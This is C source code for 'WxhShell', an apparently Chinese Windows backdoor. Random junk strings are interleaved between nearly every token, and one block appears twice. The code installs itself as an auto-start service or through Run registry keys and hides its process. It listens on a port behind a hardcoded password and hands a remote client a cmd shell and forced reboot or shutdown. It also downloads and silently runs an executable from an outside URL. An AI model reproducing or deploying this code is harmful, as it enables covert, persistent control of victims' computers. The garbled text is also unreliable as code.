yw1D } PROCESS_BASIC_INFORMATION; uL\b*rI jkTh)Bm|' PROCNTQSIP NtQueryInformationProcess; P}YtT3.K *u?QO4> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2#<)-Cak static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }rWEa^ =H<I` J' HANDLE hProcess; *=sMJY9#jE PROCESS_BASIC_INFORMATION pbi; x,U'!F 0_!')+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .G ^-.p if(NULL == hInst ) return 0; #hp7@ Tu 'H19@b5rx g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K;:_UJ>t g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7H$I9e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [uJfmr EH 6MewQ{h i if (!NtQueryInformationProcess) return 0; fGeDygV^` y4@zi "G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E{LLxGAEZ if(!hProcess) return 0; i6S5 4&^! n!Dr:$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \wJ2>Q iMT[sb CloseHandle(hProcess); :,@"I$>*/ _Q9 Mn-&qQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )bd)noZi if(hProcess==NULL) return 0; R6(sWN- \
F\ /< HMODULE hMod; e_<'zH_1 char procName[255]; W2$MH: j unsigned long cbNeeded; ;\N)RZ R m&^[mv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z[ NO`!< D(E3{\*R CloseHandle(hProcess); ~pZ<VH;h _/Sqw if(strstr(procName,"services")) return 1; // 以服务启动 xj ?#]GR p#\JKx return 0; // 注册表启动 #Nv^F }
6#J>b[Q yt5Sy // 主模块 s6DmZ^Y% int StartWxhshell(LPSTR lpCmdLine) Rudj"OGO { 8Q{"W"]O7 SOCKET wsl; NsPAWI|4 BOOL val=TRUE; %Tv2op int port=0; Q[vQT?J7 struct sockaddr_in door; b p[wr vvTQ!Aa if(wscfg.ws_autoins) Install(); 3}7`?$5 2l4*6rYa( port=atoi(lpCmdLine); (&B`vgmb vcmB)P-T`O if(port<=0) port=wscfg.ws_port; /wR,P #JAy WSADATA data; eP?=tUB!S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ir{li?kV 5LF &C0v if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bQvhBa? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5LX%S .CW door.sin_family = AF_INET; !y$:}W?_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); CE|iu!-4 door.sin_port = htons(port); aPwUC:>`D <hV%OrBz- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'vX:)ZD i closesocket(wsl); /q^\g4J return 1; m8T< x> } N|rB~
baO'FyCs9& if(listen(wsl,2) == INVALID_SOCKET) { 9cnLf# closesocket(wsl); yrF"`/zv6| return 1; SSAf<44e } hr/H vB Wxhshell(wsl); 0|}]=XN^ WSACleanup(); +%~/~1 q:/3uC7
return 0; ^[6S]Ft( SWLt5dV } iW9o-W
a fvi8+3A& // 以NT服务方式启动 4lF(..Ix VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rqi/nW { FK+`K< DWORD status = 0; s=H|^v DWORD specificError = 0xfffffff; 8#{DBWU _C%:AFPP> serviceStatus.dwServiceType = SERVICE_WIN32; Xl %ax!/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?'IY0^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Tb[1\ serviceStatus.dwWin32ExitCode = 0; z[sP/{~z serviceStatus.dwServiceSpecificExitCode = 0; %B~@wcI)W serviceStatus.dwCheckPoint = 0; ~-tKMc).X serviceStatus.dwWaitHint = 0; lDX\"Fq _/5#A+ ? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '* eeup if (hServiceStatusHandle==0) return; b6?&h:{k (MGYX_rD status = GetLastError(); EY^+ N>
if (status!=NO_ERROR) JC.nfxG@: { 0,]m.)ws serviceStatus.dwCurrentState = SERVICE_STOPPED; f.G"[p serviceStatus.dwCheckPoint = 0; Js'j}w serviceStatus.dwWaitHint = 0; tJvs
?eZ) serviceStatus.dwWin32ExitCode = status; _'0C70 serviceStatus.dwServiceSpecificExitCode = specificError; wj2z?0}o SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;i,3KJ[L return; O%)Wo?)HM } ["1Iz{ };;k5z I% serviceStatus.dwCurrentState = SERVICE_RUNNING; aCF=Og serviceStatus.dwCheckPoint = 0; g2%fla7r serviceStatus.dwWaitHint = 0; KL\hV .6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d` X1cG } !dV2:`|+ @#2KmM~I // 处理NT服务事件,比如:启动、停止 60#eTo?}o VOID WINAPI NTServiceHandler(DWORD fdwControl) >pm`(zLn { E0)43 switch(fdwControl) D$U`u[qjtS { Pk{%2\%&2 case SERVICE_CONTROL_STOP: ?`/DFI'_G serviceStatus.dwWin32ExitCode = 0; WyU\," serviceStatus.dwCurrentState = SERVICE_STOPPED; %PlA9@:IZ serviceStatus.dwCheckPoint = 0; [T(`+
#f serviceStatus.dwWaitHint = 0; Y[rRz6.*( { f;=<$Y>i SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,92wW&2 } ]ne return; isU4D case SERVICE_CONTROL_PAUSE: Q*ixg$> serviceStatus.dwCurrentState = SERVICE_PAUSED; eL_Il.: break; |"
ag'h case SERVICE_CONTROL_CONTINUE: U[{vA6 serviceStatus.dwCurrentState = SERVICE_RUNNING; aP[oLk$'Z break; ;R([w4[~ case SERVICE_CONTROL_INTERROGATE: 3_ ZlZ_Tq break; [tk6Kx8a }; ugzrG0=lx SetServiceStatus(hServiceStatusHandle, &serviceStatus); uqv S } ctMH5"F&1 -BC`p 8 // 标准应用程序主函数 (>SucUU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O?t49=uB} { 9/JBn V~sfR^FQ' // 获取操作系统版本 ]@uuB\u OsIsNt=GetOsVer(); * /^} GetModuleFileName(NULL,ExeFile,MAX_PATH); ML.|\:r* Nj{; // 从命令行安装 9~{,Hj1xE if(strpbrk(lpCmdLine,"iI")) Install(); zG)vmysJf aen0XiB6~^ // 下载执行文件 )I"I[jDw if(wscfg.ws_downexe) { PYiO l if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %.WW-S3 WinExec(wscfg.ws_filenam,SW_HIDE); 6xLQ } wpg7xx! O t{~mMDp if(!OsIsNt) { 5><T#0W? // 如果时win9x,隐藏进程并且设置为注册表启动 <DN7 HideProc(); _9y!,ST StartWxhshell(lpCmdLine); DMA`Jx } 7$mB.\| else 6x;!E&< if(StartFromService()) [P`<y#J3F // 以服务方式启动 zvn3i5z StartServiceCtrlDispatcher(DispatchTable); >U)>~SQf else P~;1adi3 // 普通方式启动 "hnvND4= StartWxhshell(lpCmdLine); /\MkH\zg .=zBUvy return 0; lS]6SkZ6 } {_4`0J`3 >en\:pJn)' On0,#i= <;*w97n =========================================== u6 Yp,!+ TN/y4(j pM9M8d S3s6 TZhYgV 48Jt1^ " 3oV2Ek<d 3+&k{UZjt #include <stdio.h> t +|t/1s2 #include <string.h> vxS4YR b #include <windows.h> 9)>+r6t #include <winsock2.h> ECk3Da #include <winsvc.h> 2(5/#$t #include <urlmon.h> eo~b]D /!%?I#K{Wq #pragma comment (lib, "Ws2_32.lib") tn;{r #pragma comment (lib, "urlmon.lib") /VD[: sU7 UrO&K]Z #define MAX_USER 100 // 最大客户端连接数 S`Z[MNY #define BUF_SOCK 200 // sock buffer NA$%Up #define KEY_BUFF 255 // 输入 buffer ipE|)Ns Dutc#?bT #define REBOOT 0 // 重启 PZVH=dagq #define SHUTDOWN 1 // 关机 p6&<eMwFA @1D3E = #define DEF_PORT 5000 // 监听端口 @Z5,j) xXfv({ #define REG_LEN 16 // 注册表键长度 k2(k0HFR #define SVC_LEN 80 // NT服务名长度 h.wffk, 'e_e*.z3 // 从dll定义API g_JQW(_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gvr&7=p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !>f:wk2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -s0\ 4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); > Edsanx 86>@.:d // wxhshell配置信息 2f1Q&S struct WSCFG { r4d#;S9{o int ws_port; // 监听端口 {<1uV']x char ws_passstr[REG_LEN]; // 口令 %K,cGgp^) int ws_autoins; // 安装标记, 1=yes 0=no 2Bi?^kQ# char ws_regname[REG_LEN]; // 注册表键名 @?RaU4e char ws_svcname[REG_LEN]; // 服务名 }$[@* char ws_svcdisp[SVC_LEN]; // 服务显示名 T\#Gc4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 jrpki<D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8n["/5, int ws_downexe; // 下载执行标记, 1=yes 0=no ^\[c][fo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N,UUM|?9_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "MK2QIo b7'l3m Qjk }; %{rPA3Xoy _SkiO}c8 // default Wxhshell configuration 9Vl}f^Gn struct WSCFG wscfg={DEF_PORT, {|@}xrB "xuhuanlingzhe", x3sX=jIW_ 1, ,f@j4*) "Wxhshell", lI~8[[$xd "Wxhshell", V5p^]To! "WxhShell Service", K{, '%| "Wrsky Windows CmdShell Service", Vl3-cW@p "Please Input Your Password: ", Z>l|R C 1, X"9N<)C "http://www.wrsky.com/wxhshell.exe", ~dzD7lG6 "Wxhshell.exe" ]~~G<Yh:= }; +d?|R5{3 t/_\w" // 消息定义模块 +Jm vB6s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JTObyAoW char *msg_ws_prompt="\n\r? for help\n\r#>"; ex^9 l b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~0[(-4MA char *msg_ws_ext="\n\rExit."; 0$0
215 char *msg_ws_end="\n\rQuit."; p+5J char *msg_ws_boot="\n\rReboot..."; p]<)6sZ char *msg_ws_poff="\n\rShutdown..."; T]/5aA4 char *msg_ws_down="\n\rSave to "; VLVDi>0i 5<e{)$C char *msg_ws_err="\n\rErr!"; U ^nv) char *msg_ws_ok="\n\rOK!"; /r2S1"(q ZpMv16 char ExeFile[MAX_PATH]; @eutp`xoT\ int nUser = 0; >?_}NZ,y HANDLE handles[MAX_USER]; y^[t3XA6Q int OsIsNt; 9_4(}|"N| 3t9CN
)* SERVICE_STATUS serviceStatus; cucmn*o? SERVICE_STATUS_HANDLE hServiceStatusHandle; V7`vLs- sAPQbTSM // 函数声明 RNQq"c\ int Install(void); 1k^$:' int Uninstall(void); KUq7O a! int DownloadFile(char *sURL, SOCKET wsh); )wXE\$ int Boot(int flag); ti$60Up void HideProc(void); ;nJ2i?" int GetOsVer(void); NpCQ4K int Wxhshell(SOCKET wsl); hS*&p0YV~M void TalkWithClient(void *cs); X|/RV4x@Cq int CmdShell(SOCKET sock); cK2;)&U7 int StartFromService(void); w{u,YM(Q int StartWxhshell(LPSTR lpCmdLine); 3)L#V
. =CD.pw)B1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rqnxR q VOID WINAPI NTServiceHandler( DWORD fdwControl ); +v'2s@e`
# =v'Aub // 数据结构和表定义 q317~z_nl SERVICE_TABLE_ENTRY DispatchTable[] = M,X)rM}Q { }_F:]lI*R {wscfg.ws_svcname, NTServiceMain}, hW9! {NULL, NULL} d[5v A/8O }; [La}h2gz =HJ7tele // 自我安装 x %9Ca)r?} int Install(void) zY7M]Az { Q`NdsS2 char svExeFile[MAX_PATH]; :WsHP\r HKEY key; /Oi(5?Jn strcpy(svExeFile,ExeFile); [8q`~S%-] XT*/aa-1' // 如果是win9x系统,修改注册表设为自启动 Z_edNf}| if(!OsIsNt) { D(TG)X? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N{ $?u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p|NY.N RegCloseKey(key); H+-x.l` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GN
Ewq$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~7PiIky. RegCloseKey(key); }Y|M+0 return 0; <RpTk*Yo^= } M X?UmQ' } AAW] Y#UwW } lrwQ
>N else { W}"tf
L8
y\(xYB>T // 如果是NT以上系统,安装为系统服务 @GGQ13Cj( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `IJ)'$pn if (schSCManager!=0) /OB) \{- { )db:jPkwd SC_HANDLE schService = CreateService V~
MsGj ( ?.uhp schSCManager, 7E#h(bt j wscfg.ws_svcname, ^i2>Ax&T wscfg.ws_svcdisp, -;ra(L` SERVICE_ALL_ACCESS, r}sO},i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?'|GGtvm SERVICE_AUTO_START, cHR*. SERVICE_ERROR_NORMAL, E.sZjo1 svExeFile, -q[x"Ha% NULL, 5O]ZX3z> NULL, WNb2"W NULL, \x:U`T NULL, \IYv9ScAx NULL Vgkj4EE ); N6p0` if (schService!=0) )V+/@ 4 { I<,~>'cq. CloseServiceHandle(schService); {T,}]oX CloseServiceHandle(schSCManager); US^%pd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3-6MGL9 strcat(svExeFile,wscfg.ws_svcname); [` }w7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PFx.uqp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f Ayh9 RegCloseKey(key); iOCs%J return 0; ;K|K]c } f2pA+j5[ } ^c/3!"wK
CloseServiceHandle(schSCManager); <gGO } b<#zgf } SK&1l`3 F(Zf=$cx return 1; iPY)Ew`Im } ]dl.~;3~~ "#gS ?aS // 自我卸载 Z__fwv.X[ int Uninstall(void) | oM` { k%\y,b* HKEY key; )F\kGe fv+d3s?h if(!OsIsNt) { X2 ;72 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m\CU,9;;( RegDeleteValue(key,wscfg.ws_regname); 6R8>w, RegCloseKey(key); :;hX$Qz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !>ZBb\EyK RegDeleteValue(key,wscfg.ws_regname); fx4#R(N RegCloseKey(key); g:xg ~H2 return 0; $%!06w#u } _
W#Km } WA1yA*S } K^[m-- else { ~;pP@DA lKU{jWA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Ol
w6W?% if (schSCManager!=0) tJQZRZViu { jk_yrbLc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \K}KnJ if (schService!=0) -|s%5p| { {~R?f$}""j if(DeleteService(schService)!=0) { _D@QsQ_Z CloseServiceHandle(schService); } _];yw CloseServiceHandle(schSCManager); Wd(|w8J{a return 0; 8tf>G(I{ } ]]`[tVaFr CloseServiceHandle(schService); <0hVDk~ } =h=-&DSA CloseServiceHandle(schSCManager); `1Md1e:J } sh0x<_ } Q%!xw( "}%j' return 1; $sb@*K}:4 } H8B.c%_|U p[%~d$JUq // 从指定url下载文件 dD'KP4Io@ int DownloadFile(char *sURL, SOCKET wsh) @"98u$5 { C~K/yLCAi HRESULT hr; qK@,O\ char seps[]= "/"; y?3u6q++ char *token; `('Up? char *file; Au/'|%2#( char myURL[MAX_PATH]; \>EUa}%xn char myFILE[MAX_PATH]; P, F5Hf F.(e}EMyNh strcpy(myURL,sURL); qzHsqlof token=strtok(myURL,seps); J8@+)hn while(token!=NULL) `:m=rT_ { QkTU@T6>o file=token; [I'q"yRu]i token=strtok(NULL,seps); 1|G5 W: } p14$XV k%-UW% GetCurrentDirectory(MAX_PATH,myFILE); H15!QxD# strcat(myFILE, "\\"); &`>dY
/Y strcat(myFILE, file); p<Tg}fg send(wsh,myFILE,strlen(myFILE),0); GMLx$?=j send(wsh,"...",3,0); yDe*-N\'W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L"?4}U: if(hr==S_OK) L8zMzm=- return 0; x2l}$(7 else N>P" $ return 1; f4dHOH prIJjy-F } Oq3t-omXS !^1oH** // 系统电源模块 B%))HLo' int Boot(int flag) (U.VCSn { nHfAx/9! HANDLE hToken; K&dc< 4DC TOKEN_PRIVILEGES tkp; u8<Fk
! ,g|ht%" if(OsIsNt) { U}=H1f, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M3GFKWQI,` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6OQ\f,h@ tkp.PrivilegeCount = 1; (f#{<^ gd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )^)|b5, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;D4
bxz0ou if(flag==REBOOT) { Kl(u~/=6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~aL?{kb+ return 0; Hb^ovc0 } mryT%zSlM else { abEdZ)$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cj[%.M5iBA return 0; H66~!J0;a } ?iaO6HD } Na.e1A&?j else { &mA{_|> if(flag==REBOOT) { 1'k,P;s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =)Goip return 0; ::/vDUDc } y>g`R^^ else { IY(;:#l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SQuW`EHBgs return 0; t +CU } XR#?gx .} } !#WJ(zSq X%B2xQM5 return 1; =A"z.KfV } jwwst\f eN<?rVZl // win9x进程隐藏模块 4'`*Sce} void HideProc(void) |q q29dS? { {UhpN"'"n %8|? YxiZ: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Az(J @ if ( hKernel != NULL ) /"1[qT\F { OnE~0+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %9t=Iu* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .8CfCRq FreeLibrary(hKernel); q&wv{ } ~~WX#Od*$ m W4tW return; r`:dUCFE } ;AarpUw' F;Ubdxwwl // 获取操作系统版本 93Qx+oK] int GetOsVer(void) -kzg(+sm { ? ~_h3bHH OSVERSIONINFO winfo; 9z?B@;lMc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :HN\A4=kc( GetVersionEx(&winfo); Ng1[y4R} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t~]tw return 1; %TQ5#{Y else Vdf~rV return 0; ]i'gU(+;` } +r__>V, N*>&XJ# // 客户端句柄模块 iA+zZVwO int Wxhshell(SOCKET wsl) Oj.xJ(uX+v { t3aDDu SOCKET wsh; K6oQx)| struct sockaddr_in client; 'ewVn1ME[ DWORD myID; p/&s-GF [~IFg~*, while(nUser<MAX_USER) JuXuS { !X/O1PM| int nSize=sizeof(client); SV_b(wP9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @?<1~/sfL if(wsh==INVALID_SOCKET) return 1; >`.$Tyw Vb8{OD3PK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J
k FZd if(handles[nUser]==0) ^Jn=a9Q6Z closesocket(wsh); )u_[cEJHO else ~px)Jd nUser++; i@spd5. } g2&P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H}&4#CQ'! tY$4k26 return 0; }Fgp*x-G } 3gU*,K7 W2j@Q=YDS // 关闭 socket q#!c6lG void CloseIt(SOCKET wsh) 5NAB^&{Z<X { }{m.\O closesocket(wsh); RiM!LX nUser--; N"o+;yR ExitThread(0); =OF]xpI'&a } SB2Ij', 9jTm g% // 客户端请求句柄 *f( e`3E void TalkWithClient(void *cs) ?{*/VJl$ { d<B=p&~ R?GF,s<j SOCKET wsh=(SOCKET)cs; y@Q?
guB char pwd[SVC_LEN]; ,2_!hm/ char cmd[KEY_BUFF]; ZpQ8KY$5 char chr[1]; $>y int i,j; ZRo-=/1 %G>V .d while (nUser < MAX_USER) { +zn207.` tM;S
)S(= if(wscfg.ws_passstr) { >On"BP# U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uA2-&smw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j8"2K^h= //ZeroMemory(pwd,KEY_BUFF); K+s
xO/}h i=0; esVZ2_eL while(i<SVC_LEN) { mMRdnf!Uid z("Fy // 设置超时 [e+$jsPl fd_set FdRead; y?s8UEC struct timeval TimeOut; H0 .,h; FD_ZERO(&FdRead); 3?R QPP FD_SET(wsh,&FdRead); \9t6#8 TimeOut.tv_sec=8; z7P]g
C$\ TimeOut.tv_usec=0; Tx'ctd#Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z w&_Wt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _C97G& jL[
hB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z'I0e9Jw pwd=chr[0]; kbkq.fYr if(chr[0]==0xd || chr[0]==0xa) { cWA$O*A pwd=0; t846:Z%[ break; p-t*?p
C } 2dF:;k k i++; op%?V: } TGJ\f X519}
l3 // 如果是非法用户,关闭 socket 9w! G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C8 b%r|^# } 4{r_EV[( }w)`)N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E |A,NPf%I send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /:}z*a UUt631 while(1) { )*Qa9+: 42m}c1R ZeroMemory(cmd,KEY_BUFF); '0xJp|[xVP *ppb4R;CW // 自动支持客户端 telnet标准 nd]AvVS j=0; Tcglt>tj" while(j<KEY_BUFF) { =/Dp* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2.K"+% cmd[j]=chr[0]; 0CD2o\`8 if(chr[0]==0xa || chr[0]==0xd) { '7<@(HO cmd[j]=0; 63$ R') break; adJoT-8P6 } y{eZrX| j++; 6L6 Lk } 3o'SY@'W `f^`i~c\ // 下载文件 A*h)p@3t< if(strstr(cmd,"http://")) { (8r?'H8ZO send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8<g_JW[% if(DownloadFile(cmd,wsh)) Zv=p0xH send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5m+:GiI else XU0"f!23x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a<V=C } qvOBvUR} else { 'FBvAk6 ^3`98y.Q switch(cmd[0]) { T
T0O % |k'I?:' // 帮助 $`'^&o;&f case '?': { Iw"?%k\U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [,5clR=F break; q_f
v1U3 } e_ 6
i896 // 安装 nWZrB s
_ case 'i': { xiRTp:> if(Install()) &V( LeSI send(wsh,msg_ws_err,strlen(msg_ws_err),0); i=2+1;K else gr=ke #
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /KKX;L[D( break; A|>a
Gy } xDr
*|d // 卸载 l}AB):<Z case 'r': { nTu" if(Uninstall()) Iz{AA- send(wsh,msg_ws_err,strlen(msg_ws_err),0); g6W.Gl"5\w else >5 5/@+^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *rEW@06^\ break; !#iP)"O } w#b~R^U // 显示 wxhshell 所在路径 m@c2'*&Y case 'p': { R4qk/@]t char svExeFile[MAX_PATH]; 2N,*S strcpy(svExeFile,"\n\r"); cRg$~rYd strcat(svExeFile,ExeFile); {{DW P-v4 send(wsh,svExeFile,strlen(svExeFile),0); ]c5GG!E-g break; E0oJ|My } 5d4-95['_ // 重启 Vfw $>og! case 'b': { 5!cplx=< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P7Y[?='v if(Boot(REBOOT)) N]=.I send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4YC5ZH{l else { :e9E#o closesocket(wsh); lp]O8^][& ExitThread(0); h'jnc. } Aio0++r- break; be@MQ}6> } XnG!T$ // 关机 ?NwFpSB2 case 'd': { (^Ln|3iz send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QWP_8$Q if(Boot(SHUTDOWN)) E|fPI u send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z2 @&4_P else { )i>KYg w closesocket(wsh); Yp;x ExitThread(0); [j/-(?+ } C'$U1%:
j break; M>^IQ } qj/P4 *6E // 获取shell bIhL!Ty T. case 's': { [zfGDMG& CmdShell(wsh); C/$IF M< closesocket(wsh); I'j?T. ExitThread(0); F`N*{at break; KG?]MVXA } r#j*vO ' // 退出 9PBmBP~ case 'x': { SW=p5@Hy{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lV1|\~?4 CloseIt(wsh); R3<+z break; +l#2u#e } ,8
.`; // 离开 =sm(Z;" case 'q': { Nf~<xK send(wsh,msg_ws_end,strlen(msg_ws_end),0); cZ(XY} closesocket(wsh); a"zoDD/ WSACleanup(); ZAP+jX; exit(1); (/M c$V break; %|I|Mc } ,yF)7fN } pqe
tYu } VuY.})+J: tX_eN // 提示信息 F~Li.qF if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }B5I#Af7 } x0d+cSw } i~;8'>:|,M g DhwJks return; %L/=heBBd } QJ>>&`{, 0D'Wr(U( // shell模块句柄 %Z7!9+< int CmdShell(SOCKET sock) B'Wky>5) { X=3@M_Jzo STARTUPINFO si; HZ}*o%O ZeroMemory(&si,sizeof(si)); <%z/6I
Af| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +6=!ve} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lK4+8VZ PROCESS_INFORMATION ProcessInfo; k mjm6 char cmdline[]="cmd"; wGvgMZ ]?' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :3B\,inJ return 0; qo@dFKy } BGX@n#: b5DrwX{Ff // 自身启动模式 &f*d FUM]I int StartFromService(void) 0REWbcxd" { 4i,SiFKB typedef struct }>0
Kc= { q8Dwu3D DWORD ExitStatus; HhvG#Sam! DWORD PebBaseAddress; :j~5(K" DWORD AffinityMask; ju]]| DWORD BasePriority;
`xUPML- ULONG UniqueProcessId; ^mi4q[PM ULONG InheritedFromUniqueProcessId; ;X(n3F } PROCESS_BASIC_INFORMATION; GcR`{ 3hO ??Zmj:8E' PROCNTQSIP NtQueryInformationProcess; 0Mg8{ 8-:k@W static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oui!fTy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QCR-l xO1 <+gl"lG HANDLE hProcess; v=tj.Vg PROCESS_BASIC_INFORMATION pbi; M N#C2 qz QIK73^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +ZKhmb! if(NULL == hInst ) return 0; au|^V^m A+I&.\QAR g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GYC&P] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N-`;\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pm]DxJ@ fm%RNAPvc if (!NtQueryInformationProcess) return 0; P]"deB| Jwd&[
